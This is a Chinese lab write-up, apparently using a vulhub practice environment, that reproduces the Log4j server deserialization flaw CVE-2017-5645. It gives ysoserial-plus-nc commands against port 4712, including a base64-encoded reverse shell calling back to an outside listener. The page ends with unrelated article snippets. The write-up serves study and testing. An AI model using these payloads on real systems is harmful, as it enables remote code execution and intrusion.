vulhub之log4j

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

漏洞简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

Apache Log4j

在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。

漏洞原理

CVE-2017-5645漏洞是由于Log4j在处理某些类型的序列化数据时,没有进行充分的验证和过滤,导致攻击者可以通过构造恶意序列化数据来执行任意命令。在Java的反序列化过程中,如果一个类的Class对象无法被Java虚拟机找到,则会尝试通过URL来下载这个类。攻击者可以利用这个机制,构造一个恶意序列化数据包,其中包含指向恶意代码的URL,当Log4j反序列化这个数据包时,就会执行恶意代码。

要复现CVE-2017-5645漏洞,首先需要确保目标系统上安装了受影响的Log4j版本。攻击者可以通过向目标系统发送恶意序列化数据包来利用该漏洞。:

  1. 攻击者构造一个恶意序列化数据包(例如:恶意XML文件),其中包含指向恶意代码的URL。
  2. 攻击者将恶意序列化数据包发送到目标系统的Log4j日志接收器中。
  3. Log4j接收到数据包后,尝试进行反序列化操作。
  4. 在反序列化过程中,Log4j会尝试从URL下载恶意类的Class对象,从而执行恶意代码。

影响版本

Log4j<2.8.2

环境搭建

使用vulhub的靶场,开启后该环境默认端口为4712

漏洞复现

工具下载:https://github.com/frohoff/ysoserial

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

下载后使用maven打包成jar文件进行使用,也可以直接下载jar包

创建文件

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.19.199 4712

 

反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.60.129 4712

 用shiro反序列化的ysoserial-0.0.6-SNAPSHOT-all.jar也可以

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.60.129 4712

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/59964.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(附项目源码)Java开发语言,215 springboot 大学生爱心互助代购网站,计算机毕设程序开发+文案(LW+PPT)

摘 要 在网络信息的时代&#xff0c;众多的软件被开发出来&#xff0c;给用户带来了很大的选择余地&#xff0c;而且人们越来越追求更个性的需求。在这种时代背景下&#xff0c;企业只能以用户为导向&#xff0c;按品种分类规划&#xff0c;以产品的持续创新作为企业最重要的竞…

IDEA旗舰版编辑器器快速⼊门(笔记)

简介&#xff1a;javaweb开发必备软件之IDEA期间版介绍 DEA编辑器器版本介绍 官⽹网&#xff1a;https://www.jetbrains.com/地址&#xff1a;https://www.jetbrains.com/idea/download/#sectionmac DEA 分社区版(Community) 和 旗舰版(Ultimate)&#xff0c;我们做JavaWeb开…

【C++之STL】摸清 string 的模拟实现(上)

文章目录 1. 为什么要模拟实现&#xff1f;2. 基本框架搭建3. 构造函数3. 1 默认构造/from c_str3. 2 拷贝构造3. 2. 1 深浅拷贝 3. 3 fill3. 4 迭代器区间构造 4. 容量操作4. 1 size()和capacity()和empty()4. 2 clear()4. 3 resize()4. 4 reserve() 1. 为什么要模拟实现&…

VSCode 常用的快捷键

Visual Studio Code (VSCode) 提供了丰富的快捷键来提高开发效率。 是常用的 VSCode 快捷键&#xff0c;按功能分类&#xff1a; 1. 基础编辑 Ctrl C / Ctrl V / Ctrl X&#xff1a;复制、粘贴、剪切当前选中的文本。Ctrl Z / Ctrl Y&#xff1a;撤销和重做操作。Ctrl …

【Java 集合】Collections 空列表细节处理

问题 如下代码&#xff0c;虽然定义为非空 NonNull&#xff0c;但依然会返回空对象&#xff0c;导致调用侧被检测为空引用。 实际上不是Collections的问题是三目运算符返回了null对象。 import java.util.Collections;NonNullprivate List<String> getInfo() {IccReco…

Docker: ubuntu系统下Docker的安装

安装依赖 操作系统版本 Ubuntu Kinetic 22.10Ubuntu Jammy 24.04 (LTS)Ubuntu Jammy 22.04 (LTS)Ubuntu Focal 20.04 (LTS)Ubuntu Bionic 18.04 (LTS) CPU架构支持 ARMx86_64 查看我们的系统版本信息 uname -a通过该命令查得cpu架构是x86_64的&#xff1b; cat /etc/*re…

vue2+3 —— Day5/6

自定义指令 自定义指令 需求&#xff1a;当页面加载时&#xff0c;让元素获取焦点&#xff08;一进页面&#xff0c;输入框就获取焦点&#xff09; 常规操作&#xff1a;操作dom “dom元素.focus()” 获取dom元素还要用ref 和 $refs <input ref"inp" type&quo…

链表续-8种链表(数据结构)

了解链表 由于之前已经有一篇文章介绍链表&#xff0c;本次直接上八种链表的代码 具体前一篇文章阅读此处&#xff1a;链表介绍 八种链表代码 单向链表 节点当中存放数据以及指向下一个节点的指针 代码&#xff1a; #define _CRT_SECURE_NO_WARINGS 1#include <stdio.h>…

如何确保爬取的数据准确性和完整性?

在数据驱动的业务环境中&#xff0c;爬虫程序的准确性和完整性至关重要。本文将探讨如何使用Java编写爬虫程序&#xff0c;并确保其在爬取数据时的准确性和完整性。 1. 精确的HTML解析 确保数据准确性的第一步是精确地解析HTML。Jsoup是Java中常用的HTML解析库&#xff0c;它提…

关于Web Component

2024年8月14日 引言 Web Component 是一种用于构建可复用用户界面组件的技术&#xff0c;开发者可以创建自定义的 HTML 标签&#xff0c;并将其封装为包含逻辑和样式的独立组件&#xff0c;从而在任何 Web 应用中重复使用&#xff0c;并且可以做到无框架跨框架。 不同于 Vue…

【MySql】实验十六 综合练习:图书管理系统数据库结构

文章目录 创建图书管理系统数据库结构一、创建数据表1.1 book表1.2 reader表1.3 borrow表 二、插入示例数据2.1 向book表插入数据2.2 向reader表插入数据2.3 向borrow表插入数据 三、查询操作3.1 根据语义为借书表borrow的bno列和 rno列建立外键3.2 查询张小海编写的“数据库原…

AutoDL部署视觉大模型llama3.2-vision,从视频中寻找特定目标

注&#xff1a; windows11系统。示例为此项目&#xff1a;https://github.com/win4r/VideoFinder-Llama3.2-vision-Ollama 在当今的人工智能领域&#xff0c;深度学习模型的计算需求日益增长&#xff0c;特别是在处理复杂的视觉任务时&#xff0c;强大的算力往往是实现高效应用…

【机器学习】聚类算法原理详解

聚类算法 性能度量&#xff1a; 外部指标 jaccard系数&#xff08;简称JC&#xff09;FM指数&#xff08;简称FMI&#xff09;Rand指数&#xff08;简称RI&#xff09; 内部指标 DB指数&#xff08;简称DBI&#xff09;Dunn指数&#xff08;简称DI&#xff09; 距离计算&am…

前端性能优化深入解析:提升用户体验的几个关键点

文章目录 前言一、代码分割与动态导入二、图片和脚本的懒加载三、缓存策略四、如何根据项目特点选择合适的前端性能优化策略&#xff1f;结语 前言 在当今的互联网环境中&#xff0c;网页加载速度直接影响到用户的满意度和留存率。因此&#xff0c;前端性能优化对于提高用户体…

系统架构设计师论文

资源库&#xff1a;https://blog.csdn.net/weixin_43905586/article/details/118719986 2019年 2019年下半年试题二&#xff1a;论软件系统架构评估及其应用 2012年 2012年下半年试题一&#xff1a;论基于架构的软件设计方法及应用

用 Android Studio 从零开发一个多功能计算器应用

简介 计算器是每个学习 Android 开发者必经的经典项目之一。本篇文章将带你创建一个功能更强大的计算器应用&#xff0c;支持基本的加减乘除运算、带小数点的输入以及更多操作符功能。通过这个项目&#xff0c;你将全面掌握 Android 的布局设计、事件处理和逻辑实现技巧。 一、…

【代码随想录day33】【C++复健】62.不同路径;63. 不同路径 II;343. 整数拆分;96.不同的二叉搜索树

感觉dp的题真的很适合背&#xff0c;当然不是死记硬背&#xff0c;而是当做一种模板题&#xff0c;出来一道新的题就往模板题上面去靠&#xff0c;如果套对模板的话剩下的事情其实就简单了。所以只要看一遍解法知道大致思路其实就够了&#xff0c;毕竟大部分dp的代码也不算难写…

SHELL笔记(条件测试)

基本概念&#xff1a; 条件测试用于在 Shell 脚本中对各种条件进行判断&#xff0c;根据判断结果来决定是否执行特定的命令或代码块。条件测试可以用于比较数值、字符串&#xff0c;检查文件或目录的属性&#xff0c;以及判断命令的执行结果等。 格式&#xff1a; 格式1&…

JDK、MAVEN与IDEA的安装与配置

1.认识JDK、MAVEN与IDEA JDK 提供了编译和运行Java程序的基本环境。Maven 帮助管理项目的构建和依赖。IDEA 提供了一个强大的开发环境&#xff0c;使得编写、调试和运行Java程序更加高效。 2. 安装与环境配置 2.1 官网地址 选择你需要的版本下载&#xff1a; MAVEN下载传送…

微信小程序-prettier 格式化

一.安装prettier插件 二.配置开发者工具的设置 配置如下代码在setting.json里&#xff1a; "editor.formatOnSave": true,"editor.defaultFormatter": "esbenp.prettier-vscode","prettier.documentSelectors": ["**/*.wxml"…